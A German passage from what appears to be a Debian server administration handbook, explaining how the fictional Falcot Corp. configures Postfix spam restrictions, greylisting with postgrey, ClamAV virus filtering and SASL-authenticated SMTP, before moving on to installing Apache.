„Spam“ ist der allgemeine Begriff zur Bezeichnung all der unerwünschten kommerziellen E-Mails (auch bekannt als UCE = unsolicited commercial email), die unsere elektronischen Postfächer überfluten; die gewissenlosen Individuen, die sie verschicken, werden Spammer genannt. Sie kümmern sich wenig um die Belästigung, die sie verursachen, da das Verschicken einer E-Mail sehr wenig kostet, und es genügt, dass sich nur ein sehr geringer Prozentsatz der Empfänger von diesen Angeboten angezogen fühlt, damit die Spamming-Aktion mehr Geld einbringt als sie kostet. Der Vorgang ist weitgehend automatisiert, und jede E-Mail-Adresse, die öffentlich bekannt gemacht wird (zum Beispiel in einem Web-Forum, den Archiven einer Mailingliste oder einem Blog und so weiter) wird von den Robotern des Spammers entdeckt und einem niemals endenden Strom unerwünschter Nachrichten unterworfen.

Alle System-Administratoren versuchen, dieser Belästigung mit Spamfiltern zu begegnen, aber natürlich passen sich die Spammer an und versuchen, diese Filter zu umgehen. Einige mieten sogar Rechnernetzwerke an, die von diversen kriminellen Banden mit einem Wurm infiziert worden sind. Jüngste Statistiken schätzen, dass bis zu 95% aller über das Internet laufenden E-Mails Spam sind!

11.1.3.1. IP-basierte Zugangsbeschränkungen

Die Anweisung smtpd_client_restrictions bestimmt, welchen Rechnern es erlaubt ist, mit dem E-Mail-Server zu kommunizieren.

Example 11.6. Beschränkungen aufgrund von Client-Adressen

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client, check_client_access hash:/etc/postfix/access_clientip, reject_rbl_client sbl-xbl.spamhaus.org, reject_rbl_client list.dsbl.org

Wenn eine Variable wie in oben stehendem Beispiel eine Liste von Regeln enthält, werden diese Regeln der Reihe nach von der ersten bis zur letzten ausgewertet. Jede Regel kann die Nachricht entweder annehmen, zurückweisen oder die Entscheidung der nächstfolgenden Regel überlassen. Daher ist die Reihenfolge wichtig, und das Vertauschen zweier Regeln kann zu einem völlig anderen Verhalten führen.

Die Anweisung permit_mynetworks, die als erste Regel verwendet wurde, akzeptiert alle E-Mails, die von einem Rechner im lokalen Netzwerk (wie in der Konfigurationsvariablen mynetworks festgelegt) kommen.

Die zweite Direktive würde normalerweise alle E-Mails zurückweisen, die von Rechnern ohne vollständig gültige DNS-Konfiguration kommen. Solch eine gültige Konfiguration bedeutet, dass die IP-Adresse einem Namen zugeordnet werden kann, und dass dieser Name wiederum der IP-Adresse zugeordnet ist. Diese Beschränkung ist häufig zu strikt, da manche E-Mail-Server keinen umgekehrten DNS für ihre IP-Adresse haben. Dies erklärt, warum die Falcot Administratoren der Direktive reject_unknown_client den Modifikator warn_if_reject vorangestellt haben: dieser Modifikator wandelt die Zurückweisung in eine einfache Warnung um, die in den Protokollen aufgezeichnet wird. Die Administratoren können dann die Anzahl der Nachrichten im Blick behalten, die zurückgewiesen würden, wenn die Regel tatsächlich durchgesetzt würde und später aufgrund dieser Informationen eine Entscheidung treffen, ob sie die Durchsetzung aktivieren wollen.

TIPP access-Tabellen

Die Einschränkungskriterien bestehen unter anderem aus Tabellen, die vom Administrator geändert werden können und Kombinationen aus Absendern, IP-Adressen und erlaubten oder verbotenen Rechnernamen auflisten. Diese Tabellen können aus einer entpackten Kopie der Datei /usr/share/doc/postfix-doc/examples/access.gz erstellt werden. Diese Musterdatei ist in ihren Kommentaren dokumentiert, das heißt, dass jede Tabelle ihre eigene Syntax erläutert.

Die Tabelle /etc/postfix/access_clientip führt IP-Adressen und Netzwerke auf; /etc/postfix/access_helo listet Domain-Namen; /etc/postfix/access_sender enthält E-Mail-Adressen von Absendern. Alle diese Dateien müssen nach jeder Änderung mithilfe des Befehls postmap /etc/postfix/datei in Hash-Tabellen umgewandelt werden (ein Format, das für schnellen Zugriff optimiert ist).

Die dritte Anweisung ermöglicht es dem Administrator, eine schwarze Liste und eine Positivliste von E-Mail-Servern aufzustellen, die in der Datei /etc/postfix/access_clientip abgespeichert werden. Server in der Positivliste gelten als zuverlässig, und die von dort kommenden E-Mails durchlaufen daher nicht die anschließenden Filterregeln.

Die beiden letzten Regeln weisen jede Nachricht zurück, die von einem Server kommt, der in einer der angezeigten schwarzen Listen aufgeführt ist. RBL ist die Abkürzung für Remote Black List; es gibt mehrere derartige Listen, aber alle führen sowohl schlecht konfigurierte Server auf, die von Spammern zur Übermittlung ihrer E-Mails benutzt werden, als auch unerwartete Mail-Übermittler, wie von Würmern oder Viren infizierte Rechner.

TIPP Positivliste und RBLs

Manchmal enthalten schwarze Listen auch seriöse Server, die einen Störfall erlitten haben. In diesem Fall würden alle E-Mails, die von einem dieser Server kommen, zurückgewiesen, es sei denn, der Server ist in einer von /etc/postfix/access_clientip festgelegten Positivliste aufgeführt.

Es empfiehlt sich daher, vernünftigerweise alle seriösen Server, von denen man gewöhnlich zahlreiche E-Mails erhält, in die Positivliste aufzunehmen.

11.1.3.2. Die Gültigkeit der Befehle EHLO und HELO überprüfen

Jeder SMTP-Austausch beginnt mit einem HELO- oder EHLO-Befehl, gefolgt vom Namen des sendenden E-Mail-Servers; es kann interessant sein, die Gültigkeit dieses Namens zu überprüfen.

Example 11.7. Beschränkungen für den in EHLO genannten Namen

smtpd_helo_restrictions = permit_mynetworks, reject_invalid_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_non_fqdn_hostname, warn_if_reject reject_unknown_hostname

Die erste Anweisung, permit_mynetworks, erlaubt es allen Rechnern des lokalen Netzwerks, sich ungehindert einzuführen. Dies ist wichtig, da einige E-Mail-Programme diesen Teil des SMTP-Protokolls nicht in ausreichendem Maße beachten und sich mit unsinnigen Namen einführen können.

Die Regel reject_invalid_hostname weist E-Mails zurück, wenn die EHLO-Angabe einen syntaktisch unkorrekten Rechnernamen enthält. Die Regel reject_non_fqdn_hostname weist Nachrichten zurück, wenn der angegebene Rechnername kein vollständig ausgewiesener Domain-Name ist (dies schließt einen Domain-Namen wie auch einen Rechnernamen ein). Die Regel reject_unknown_hostname weist Nachrichten zurück, falls es den angegebenen Namen im DNS nicht gibt. Da diese letzte Regel leider zu viele Zurückweisungen zur Folge hat, haben die Administratoren ihre Wirkung mit Hilfe des Modifikators warn_if_reject bis auf Weiteres in eine einfache Warnung umgewandelt; sie können entscheiden, diesen Modifikator später zu entfernen, nachdem sie die Ergebnisse dieser Regel überprüft haben.

Die Verwendung von permit_mynetworks als erster Regel hat eine interessante Nebenwirkung: die folgenden Regeln gelten nur für Rechner außerhalb des lokalen Netzwerks. Hierdurch ist es möglich, alle Rechner, die sich als Teil von falcot.com bezeichnen, auf die schwarze Liste zu setzen, indem zum Beispiel die Zeile falcot.com ABGELEHNT Sie sind nicht in unserem Netzwerk! zur Datei /etc/postfix/access_helo hinzugefügt wird.

11.1.3.3. Annahme oder Ablehnung aufgrund des angegebenen Absenders

Jede Nachricht hat einen Absender, der durch den Befehl MAIL FROM des SMTP-Protokolls angegeben wird; auch diese Information kann auf verschiedene Weise überprüft werden.

Example 11.8. Überprüfung des Absenders

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender

Die Tabelle /etc/postfix/access_sender ordnet einigen Absendern eine besondere Behandlung zu. Dies bedeutet für gewöhnlich, dass einige Absender in eine Positivliste oder eine schwarze Liste aufgenommen werden.

Die Regel reject_unknown_sender_domain verlangt eine gültige Absenderdomain, da sie für eine gültige Adresse benötigt wird. Die Regel reject_unlisted_sender weist lokale Absender zurück, falls die Adresse nicht existiert; hierdurch wird vermieden, dass E-Mails von einer ungültigen Adresse in der falcot.com-Domain verschickt werden, und Nachrichten, die von joe.bloggs@falcot.com ausgehen, werden nur akzeptiert, wenn eine solche Adresse tatsächlich existiert.

Schließlich weist die Regel reject_non_fqdn_sender E-Mails zurück, die vorgeben, von Adressen ohne einen vollständig ausgewiesenen Domain-Namen zu kommen. In der Praxis bedeutet dies, dass E-Mails, die von benutzer@rechner kommen, zurückgewiesen werden: die Adresse muss entweder als benutzer@rechner.beispiel.com oder benutzer@beispiel.com angegeben werden.

11.1.3.4. Annehmen oder zurückweisen aufgrund des Empfängers

Jede E-Mail hat wenigstens einen Empfänger, der im SMTP-Protokoll mit dem Befehl RCPT TO angegeben wird. Diese Adressen erfordern ebenfalls eine Gültigkeitsprüfung, selbst wenn dies weniger wichtig sein sollte als die Überprüfung des Absenders.

Example 11.9. Überprüfung des Empfängers

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient

Die grundlegende Regel lautet reject_unauth_destination, und sie verlangt, dass externe Nachrichten an uns adressiert sein müssen; Nachrichten an eine Adresse, die von diesem Server nicht bedient wird, werden zurückgewiesen. Ohne diese Regel wird ein Server zu einem offenen Übermittler, der es Spammern erlaubt, unerwünschte E-Mails zu verschicken; diese Regel ist daher sehr empfehlenswert, und sie wird bevorzugt in der Nähe des Listenanfangs platziert um zu vermeiden, dass andere Regeln die Durchleitung der Nachricht erlauben, bevor ihr Ziel überprüft worden ist.

Die Regel reject_unlisted_recipient weist Nachrichten zurück, die an nicht existierende lokale Benutzer geschickt werden, was natürlich Sinn macht. Schließlich weist die Regel reject_non_fqdn_recipient nicht vollständig ausgewiesene Adressen zurück; dies macht es unmöglich, eine E-Mail an jean oder jean@rechner zu schicken, und erfordert stattdessen, die vollständige Adresse zu verwenden, wie jean@rechner.falcot.com or jean@falcot.com.

11.1.3.5. Beschränkungen in Verbindung mit dem Befehl DATA

SMTPs Befehl DATA wird vor dem Inhalt der Nachricht verschickt. An sich stellt er keine Information bereit, außer anzukündigen, was als nächstes kommt.Dennoch kann er Überprüfungen unterworfen werden.

Example 11.10. Überprüfungen von DATA

smtpd_data_restrictions = reject_unauth_pipelining

Die Anweisung reject_unauth_pipelining bewirkt, dass die Nachricht zurückgewiesen wird, falls die aussendende Partei einen Befehl verschickt, bevor die Antwort auf den vorhergehenden Befehl gesendet worden ist. Dies schützt vor einer häufig von Spam-Robotern benutzten Optimierung, da sie sich gewöhnlich keinen Deut um Antworten scheren und sich nur darauf konzentrieren, in möglichst kurzer Zeit möglichst viele E-Mails zu verschicken.

11.1.3.6. Beschränkungen anwenden

Obwohl die oben stehenden Befehle Informationen in verschiedenen Phasen des SMTP-Austauschs überprüfen, verschickt Postfix die eigentliche Zurückweisung nur als Antwort auf den Befehl RCPT TO.

Dies bedeutet, dass selbst wenn die Nachricht aufgrund eines ungültigen EHLO-Befehls zurückgewiesen wird, Postfix den Absender und den Empfänger kennt, wenn es die Zurückweisung bekanntgibt. Es kann dann eine eindeutigere Nachricht protokollieren, als möglich gewesen wäre, falls die Übertragung gleich zu Anfang abgebrochen worden wäre. Außerdem erwarten manche SMTP-Clients keine Störungen bei den frühen SMTP-Befehlen, und diese Clients werden durch die späte Zurückweisung weniger gestört.

Ein letzter Vorteil dieser Vorgehensweise ist, dass die Regeln im Verlauf der verschiedenen SMTP-Phasen Informationen sammeln können; dies ermöglicht es, feinkörnigere Berechtigungen zu formulieren, wie zum Beispiel eine nicht-lokale Verbindung zurückzuweisen, wenn sie sich als lokaler Absender bezeichnet.

11.1.3.7. Filtern aufgrund des Nachrichteninhalts

KURZER BLICK Regexp-Tabellen

Die Datei /usr/share/doc/postfix-doc/examples/header_checks.gz enthält zahlreiche erläuternde Kommentare und kann als Grundlage für die Erstellung der Dateien /etc/postfix/header_checks und /etc/postfix/body_checks verwendet werden.

Das Überprüfungs- und Beschränkungssystem wäre nicht vollständig ohne eine Möglichkeit, Überprüfungen des Nachrichteninhalts durchzuführen. Postfix unterscheidet die Überprüfungen, die es auf die E-Mail-Kopfzeilen anwendet, von denen, die es für den E-Mail-Inhalt benutzt.

Example 11.11. Inhaltsbezogene Filter aktivieren

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

Beide Dateien enthalten eine Liste regulärer Ausdrücke (gewöhnlich als regexps oder regexes bezeichnet) und damit zusammenhängender Aktionen, die ausgelöst werden, wenn die E-Mail-Kopfzeilen (oder der Inhalt) einem Ausdruck entsprechen.

Example 11.12. Beispiel einer Datei /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *Your email contains VIRUSES/ DISCARD virus notification

ZURÜCK ZU DEN GRUNDLAGEN Regulärer Ausdruck

Der Begriff regulärer Ausdruck (abgekürzt regexp oder regex) bezieht sich auf eine allgemeine Bezeichnung zur Beschreibung des Inhalts oder der Struktur einer Zeichenkette. Bestimmte Sonderzeichen ermöglichen die Festlegung von Alternativen (so trifft zum Beispiel foo|bar entweder für „foo“ oder für „bar“ zu), von Reihen zugelassener Zeichen (zum Beispiel bedeutet [0-9] eine beliebige Ziffer und . - ein Punkt - ein beliebiger Buchstabe) und von Quantifizierungen (s? trifft entweder auf s oder die Nullkette zu, mit anderen Worten das Ereignis 0 oder 1 von s; s+ trifft auf ein oder mehrere aufeinander folgende s-Zeichen zu und so weiter). Klammern ermöglichen das Gruppieren von Suchergebnissen.

Die genaue Syntax dieser Ausdrücke unterscheidet sich zwischen den Programmen, die sie verwenden, aber die grundlegenden Merkmale sind ähnlich.

→ https://de.wikipedia.org/wiki/Regulärer_Ausdruck

Der erste überprüft die Kopfzeile, die die E-Mail-Software nennt; falls GOTO Sarbacane gefunden wird (ein Programm zum Versenden von Massen-E-Mails), wird die Nachricht zurückgewiesen. Der zweite Ausdruck überprüft den Nachrichtenbetreff; falls er eine Virenmeldung nennt, können wir entscheiden, die Nachricht nicht zurückzuweisen, sondern stattdessen sofort zu löschen.

Die Verwendung dieser Filter ist ein zweischneidiges Schwert, da die Regeln leicht zu allgemein formuliert werden können und als Folge seriöse E-Mails verloren gehen. In diesen Fällen sind nicht nur die Nachrichten verloren, sondern ihre Absender erhalten zudem unerwünschte (und störende) Fehlermeldungen.

11.1.4. Greylisting einrichten

„Greylisting“ ist eine Filtertechnik, der zufolge eine Nachricht zunächst mit einem vorläufigen Fehlercode zurückgewiesen und erst bei einem weiteren Versuch nach einer gewissen Verzögerung angenommen wird. Dieses Filtern ist vor allem gegen Spam wirkungsvoll, der von den vielen mit Würmern und Viren infizierten Rechnern verschickt wird, da diese Programme nur selten als vollständige SMTP-Agenten agieren (mit Überprüfung des Fehlercodes und einem späteren erneuten Zustellversuch für gescheiterte Nachrichten), vor allem weil viele der gesammelten Adressen in Wirklichkeit ungültig sind und ein erneuter Versuch nur Zeitverschwendung wäre.

Postfix stellt Greylisting nicht von Haus aus zur Verfügung, jedoch gibt es eine Funktion, mit der die Entscheidung, eine bestimmte Nachricht anzunehmen oder zurückzuweisen, an ein externes Programme delegiert werden kann. Das Paket postgrey enthält genau solch ein Programm, das dafür ausgelegt ist, sich in diesen Dienst zur Delegierung der Zugangsrichtlinien einzubinden.

Sobald postgrey installiert ist, läuft es als Daemon und nimmt an Port 60000 Verbindungen an. Postfix kann dann auf seine Verwendung eingestellt werden, indem der Parameter check_policy_service als zusätzliche Bedingung hinzugefügt wird:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:60000

Jedes Mal, wenn Postfix diese Regel in seinem Regelsatz erreicht, verbindet es sich mit dem postgrey-Daemon und schickt ihm Informationen über die entsprechende Nachricht. Postgrey überprüft seinerseits die Dreiergruppe aus IP-Adresse, Absender und Empfänger und sieht in seiner Datenbank nach, ob dieselbe Dreiergruppe vor kurzem bereits aufgetreten ist. Wenn dies der Fall ist, antwortet Postgrey, dass die Nachricht angenommen werden sollte; anderenfalls zeigt die Antwort an, dass die Nachricht vorübergehend zurückgewiesen werden soll, und die Dreiergruppe wird in die Datenbank eingetragen.

Der Hauptnachteil des Greylistings besteht darin, dass seriöse Nachrichten verzögert werden, was nicht immer akzeptabel ist. Es erhöht außerdem die Belastung von Servern, die zahlreiche seriöse E-Mails versenden.

IN DER PRAXIS Unzulänglichkeiten des Greylistings

Theoretisch sollte Greylisting nur die erste Nachricht eines bestimmten Absenders an einen bestimmten Empfänger verzögern, und die typische Verzögerungsdauer liegt dabei im Bereich von Minuten. Die Wirklichkeit kann jedoch etwas anders aussehen. Einige große Internetdienstanbieter verwenden Gruppen von SMTP-Servern, und wenn eine Nachricht zunächst zurückgewiesen wird, kann es sein, dass der Server, der die Übertragung erneut versucht, nicht derselbe wie der ursprüngliche ist. In diesem Fall erhält der zweite Server aufgrund des Greylistings ebenfalls eine vorläufige Fehlermeldung und so weiter; so kann es mehrere Stunden dauern, bevor die Übertragung wieder von einem Server versucht wird, der schon einmal beteiligt war, da SMTP-Server normalerweise nach jedem Fehlschlag die Verzögerungszeit bis zu einem erneuten Versuch erhöhen.

Folglich kann sich die ankommende IP-Adresse selbst für denselben Absender im Zeitverlauf ändern. Das ist jedoch nicht alles: selbst die Absenderadresse kann wechseln. Zum Beispiel kodieren viele Mailinglisten-Server zusätzliche Informationen in die Absenderadresse, um bestimmte Fehlermeldungen (bounces genannt) verarbeiten zu können. Jede an eine Mailingliste verschickte Nachricht wird dann möglicherweise durch das Greylisting gehen müssen mit der Folge, dass sie (vorübergehend) auf dem Server des Absenders gespeichert werden muss. Bei sehr großen Mailinglisten (mit zehntausenden von Abonnenten) kann dies sehr schnell zu Problemen führen.

Um diesen Nachteilen entgegen zu wirken, verwaltet Postgrey eine Positivliste solcher Stellen, und von ihnen ausgehende Nachrichten werden direkt ohne den Umweg über das Greylisting angenommen. Diese Liste kann leicht an die örtlichen Bedürfnisse angepasst werden, da sie in der Datei /etc/postgrey/whitelist_clients gespeichert ist.

WEITERE SCHRITTE Selektives Greylisting mit whitelister

Den Nachteilen des Greylistings kann dadurch begegnet werden, dass es nur auf die Untergruppe von Clients angewendet wird, die bereits als mögliche Spamquellen angesehen werden (da sie in einer schwarzen Liste des DNS aufgeführt sind). Dieser Dienst wird durch whitelister bereitgestellt, einen weiteren Zugangsrichtlinien-Daemon für Postfix, der als Filter unmittelbar vor Postgrey eingesetzt werden kann. Falls der Client in keiner schwarzen Liste aufgeführt ist, informiert Whitelister Postfix, dass es die Nachricht annehmen soll; anderenfalls besagt Whitelisters Antwort, dass es keinen Befund hat, und die Nachricht geht an die nächste Regel des Regelsatzes weiter (die normalerweise der Aufruf von Postgrey sein wird). Whitelister wartet standardmäßig an Port 10000 auf Anfragen.

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10000, check_policy_service inet:127.0.0.1:60000

Da Whitelister niemals eine endgültige Zurückweisung auslöst, können aggressive schwarze Listen des DNS eingesetzt werden, einschließlich solcher, die alle dynamischen IP-Adressen von Internetdienstanbietern aufführen (wie zum Beispiel dynablock.njabl.org oder dul.dnsbl.sorbs.net). Dies kann mit dem Parameter rbl in der Konfigurationsdatei /etc/whitelister.conf eingestellt werden.

11.1.5. Filter anhand des Empfängers einstellen

In den letzten beiden Abschnitten sind zahlreiche Beschränkungsmöglichkeiten betrachtet worden. Sie alle haben ihren Nutzen bei der Begrenzung der eingehenden Spam-Menge, aber sie haben auch ihre Nachteile. Es wird daher immer üblicher, den Filtersatz anhand des Empfängers einzustellen. Bei Falcot Corp. ist das Greylisting für die meisten Benutzer interessant, es behindert jedoch die Arbeit einiger Benutzer, die bei ihren E-Mails kurze Wartezeiten benötigen (wie zum Beispiel der technische Betreuungsdienst). In ähnlicher Weise hat die Handelsabteilung manchmal Probleme beim Empfang von E-Mails einiger asiatischer Anbieter, die vielleicht in schwarzen Listen aufgeführt sind; diese Abteilung hat um eine ungefilterte Adresse gebeten, so dass sie mit ihnen korrespondieren kann.

Postfix bietet eine derartige Filteranpassung mit dem Konzept einer „restriction class“ an. Diese Klassen werden in dem Parameter smtpd_restriction_classes angegeben und in der gleichen Weise wie smtpd_recipient_restrictions festgelegt. Die Anweisung check_recipient_access bezeichnet dann eine Tabelle, die einem bestimmten Empfänger den richtigen Satz von Beschränkungen zuordnet.

Example 11.13. Beschränkungsklassen in main.cf festlegen

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10000, check_policy_service inet:127.0.0.1:60000 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:60000 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

Example 11.14. Die Datei /etc/postfix/recipient_access

# Unfiltered addresses postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Aggressive filtering for some privileged users joe@falcot.com aggressive # Special rule for the mailing-list manager sympa@falcot.com reject_unverified_sender # Greylisting by default falcot.com greylisting

11.1.6. Einen Virenschutz integrieren

Die zahlreichen als E-Mail-Anhänge umlaufenden Viren erfordern das Einrichten eines Virenschutzes am Eingang des Firmennetzwerks, da einige Benutzer trotz einer Aufklärungskampagne weiterhin Anhänge von offensichtlich fragwürdigen Nachrichten öffnen.

Die Falcot Administratoren haben clamav als ihren kostenlosen Virenschutz ausgewählt. Das Hauptpaket ist clamav, aber sie haben auch einige Zusatzpakete wie arj, unzoo, unrar und lha installiert, da diese benötigt werden, damit der Virenschutz Anhänge analysieren kann, die in einem dieser Formate komprimiert sind.

Die Aufgabe, die Verbindung zwischen dem Virenschutz und dem E-Mail-Server bereitzustellen, fällt dem Programm clamav-milter zu. Ein Milter (kurz für Mailfilter) ist ein speziell für die Verbindung mit E-Mail-Servern ausgelegtes Programm. Ein Milter verwendet eine standardmäßige Programmierschnittstelle (API = application programming interface), die eine deutlich bessere Leistung aufweist als Filter außerhalb der E-Mail-Server. Milter wurden ursprünglich von Sendmail eingeführt, aber Postfix ist dem bald gefolgt.

KURZER BLICK Ein Milter für Spamassassin

Das Paket spamass-milter stellt einen Milter zur Verfügung, der auf SpamAssassin beruht, dem bekannten Suchprogramm für unerwünschte E-Mails. Er kann dazu benutzt werden, Nachrichten als möglichen Spam zu markieren (indem er eine zusätzliche Kopfzeile hinzufügt) oder die Nachrichten vollständig zurückzuweisen, falls ihr Spam-Grad einen bestimmten Schwellenwert übersteigt.

Nachdem clamav-milter installiert ist, muss die Datei /etc/default/clamav-milter so angepasst werden, dass der Milter dafür eingerichtet ist, an einem TCP-Port anstelle des standardmäßig genannten Sockets zu laufen:

SOCKET=inet:10002@127.0.0.1

Diese neue Konfigurationseinstellung wird nach dem Befehl /etc/init.d/clamav-milter restart berücksichtigt.

Die standardmäßige ClamAV-Konfiguration passt zu den meisten Situationen, aber einige wichtige Parameter können noch mit dpkg-reconfigure clamav-base angepasst werden. Auf ähnliche Weise ist mit dem Befehl dpkg-reconfigure clamav-milter das Einstellen des Mailfilter-Verhaltens recht detailliert möglich.

Im letzten Schritt wird Postfix angewiesen, den neu konfigurierten Filter zu verwenden. Dies geschieht einfach durch das Hinzufügen der folgenden Anweisung zu /etc/postfix/main.cf:

# Virus check with clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

Falls der Virenschutz Probleme verursacht, kann diese Zeile kommentiert und dann /etc/init.d/postfix reload aufgerufen werden, damit diese Veränderung berücksichtigt wird.

IN DER PRAXIS Den Virenschutz überprüfen

Sobald der Virenschutz eingerichtet ist, sollte er einem Test unterworfen werden. Dies geschieht am einfachsten dadurch, dass man eine Test-E-Mail mit einem Anhang verschickt, der die Datei eicar.com (oder eicar.com.zip) enthält, die aus dem Internet heruntergeladen werden kann:

→ http://www.eicar.org/anti_virus_test_file.htm

Diese Datei ist kein wirkliches Virus, sondern eine Testdatei, die alle auf dem Markt befindlichen Virenschutzprogramme als Virus diagnostizieren, um so die Überprüfung von Installationen zu ermöglichen.

Alle Nachrichten, die von Postfix verarbeitet werden, laufen jetzt durch den Virenschutzfilter.

11.1.7. Authentifiziertes SMTP

Um E-Mails verschicken zu können, ist es erforderlich, dass ein SMTP-Server erreichbar ist; besagter SMTP-Server muss außerdem E-Mails durchleiten. Für Benutzer, die auf Reisen sind, würde dies bedeuten, dass die Konfiguration des SMTP-Clients regelmäßig geändert werden muss, da Falcots SMTP-Server Nachrichten abweist, die von IP-Adressen kommen, die offensichtlich nicht zum Unternehmen gehören. Es gibt zwei Lösungen: Entweder installiert ein Benutzer auf Reisen einen SMTP-Server auf seinem Rechner, oder er benutzt weiterhin den Unternehmensserver unter Verwendung einiger Hilfsmittel, mit denen er sich als Angestellter authentifiziert. Die erste Lösung wird nicht empfohlen, da der Rechner nicht ununterbrochen verbunden wäre und im Falle von Problemen nicht wiederholt versuchen könnte, Nachrichten zu senden; wir werden uns daher auf die zweite Lösung konzentrieren.

SMTP-Authentifizierung in Postfix ist auf SASL angewiesen. Hierzu ist es erforderlich, die Pakete libsasl2-modules und sasl2-bin zu installieren und dann für jeden Benutzer, der eine Authentifizierung beim SMTP-Server benötigt, ein Passwort in die SASL-Datenbank einzutragen. Dies geschieht mithilfe des Befehls saslpasswd2, der verschiedene Parameter akzeptiert. Die Option -u legt die Authentifizierungs-Domain fest, die mit dem Parameter smtpd_sasl_local_domain in der Postfix-Konfiguration übereinstimmen muss. Die Option -c ermöglicht das Anlegen eines Benutzers und -f gestattet es, die Datei zu bestimmen, die benutzt werden soll, wenn die SASL-Datenbank an einem anderen als dem standardmäßig vorgegebenen Ort (/etc/sasldb2) gespeichert werden muss.

# saslpasswd2 -h `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... type jean's password twice ...]

Beachten Sie, dass die SASL-Datenbank im Verzeichnis von Postfix erstellt worden ist. Um Konsistenz sicherzustellen, wandeln wir außerdem /etc/sasldb2 in einen symbolischen Verweis um, der auf die von Postfix verwendete Datenbank weist. Dies geschieht mit dem Befehl ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Nun müssen wir Postfix so einstellen, dass es SASL benutzt. Zunächst muss der Benutzer postfix zur Gruppe sasl hinzugefügt werden, damit er auf die Datenbank des SASL-Kontos zugreifen kann. Einige zusätzliche Parameter sind erforderlich, um SASL zu aktivieren, und der Parameter smtpd_recipient_restrictions muss so eingestellt werden, dass Benutzer, die für SASL authentifiziert sind, ungehindert E-Mails versenden können.

Example 11.15. SASL in /etc/postfix/main.cf aktivieren

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination, [...]

EXTRA Authentifizierter SMTP-Client

Die meisten E-Mail-Clients können sich bei einem SMTP-Server authentifizieren, bevor sie abgehende Nachrichten verschicken, und die Verwendung dieses Merkmals ist einfach eine Frage der passenden Parametereinstellung. Falls der verwendete Client diese Fähigkeit nicht besitzt, besteht eine Umgehungslösung darin, einen lokalen Postfix-Server zu verwenden und ihn für die Weiterleitung der E-Mails über den entfernten SMTP-Server einzustellen. In diesem Fall wird das lokale Postfix selbst der Client sein, der sich bei SASL authentifiziert. Hier sind die erforderlichen Parameter:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

Die Datei /etc/postfix/sasl_passwd muss den Benutzernamen und das Passwort zur Authentifizierung beim Server smtp.falcot.com enthalten. Hier ist ein Beispiel:

[mail.falcot.com] joe:LyinIsji

Wie bei allen Postfix-Zuordnungen muss diese Datei mit dem Befehl postmap in die Datei /etc/postfix/sasl_passwd.db umgewandelt werden.

11.2. Webserver (HTTP)

Die Falcot Corp. Administratoren haben sich entschlossen, den Apache HTTP-Server zu verwenden, der in der Version 2.2.16 in Debian Squeeze enthalten ist.

ALTERNATIVE Andere Webserver

Apache ist lediglich der am besten bekannte (und meistbenutzte) Webserver, es gibt jedoch auch andere; sie können bei bestimmten Beanspruchungen bessere Leistungen bieten, dies hat jedoch eine Kehrseite in der geringeren Anzahl verfügbarer Leistungsmerkmale und Module. Wenn aber der zu verwendende Webserver zur Bereitstellung statischer Dateien eingesetzt werden oder als Proxy fungieren soll, sind Alternativen wie nginx und lighttpd eine nähere Betrachtung wert.

11.2.1. Apache installieren

Standardmäßig wird beim Installieren des Pakets apache2 auch die Apache-Version apache2-mpm-worker installiert. Das Paket apache2 ist eine leere Hülle, mit der lediglich sichergestellt wird, dass eine der Apache-Versionen tatsächlich installiert wird.

Die Unterschiede in den Apache-2-Varianten beziehen sich in erster Linie auf das Regelwerk, das beim Umgang mit der parallelen Verarbeitung zahlreicher Anfragen verwendet wird; dieses Regelwerk wird durch ein MPM (kurz für Multi-Processing Module) umgesetzt. Von den verfügbaren MPMs verwendet apache2-mpm-worker sogenannte Threads (leichtgewichtige Prozesse), wohingegen apache2-mpm-prefork eine Anzahl zuvor erstellter Prozesse benutzt (dies ist der traditionelle Weg und der einzige, der unter Apache 1.3 verfügbar war). apache2-mpm-event verwendet ebenfalls Threads, die jedoch früher beendet werden, wenn die ankommende Verbindung lediglich durch die HTTP-Funktion keep-alive offen gehalten wird.

Die Falcot Administratoren installieren auch libapache2-mod-php5, um die Unterstützung für PHP in Apache einzubeziehen. Dies führt dazu, dass apache2-mpm-worker entfernt und apache2-mpm-prefork an seiner Stelle installiert wird, da PHP nur unter diesem speziellen MPM funktioniert.

SICHERHEIT Ausführung unter dem Benutzer www-data

Standardmäßig verarbeitet Apache ankommende Anfragen unter der Identität des Benutzers www-data. Dies bedeutet, dass eine Sicherheitslücke in einem CGI-Skript, das von Apache (für eine dynamische Seite) ausgeführt wird, nicht das ganze System gefährden würde, sondern nur die Dateien im Besitz dieses speziellen Benutzers.

Der Einsatz der suexec-Module macht es möglich, diese Regel zu umgehen, so dass einige CGI-Skripte unter der Identität eines anderen Benutzers ausgeführt werden. Dies wird mit einer Anweisung der Art SuexecUserGroup benutzergruppe in der Apache-Konfiguration eingestellt.

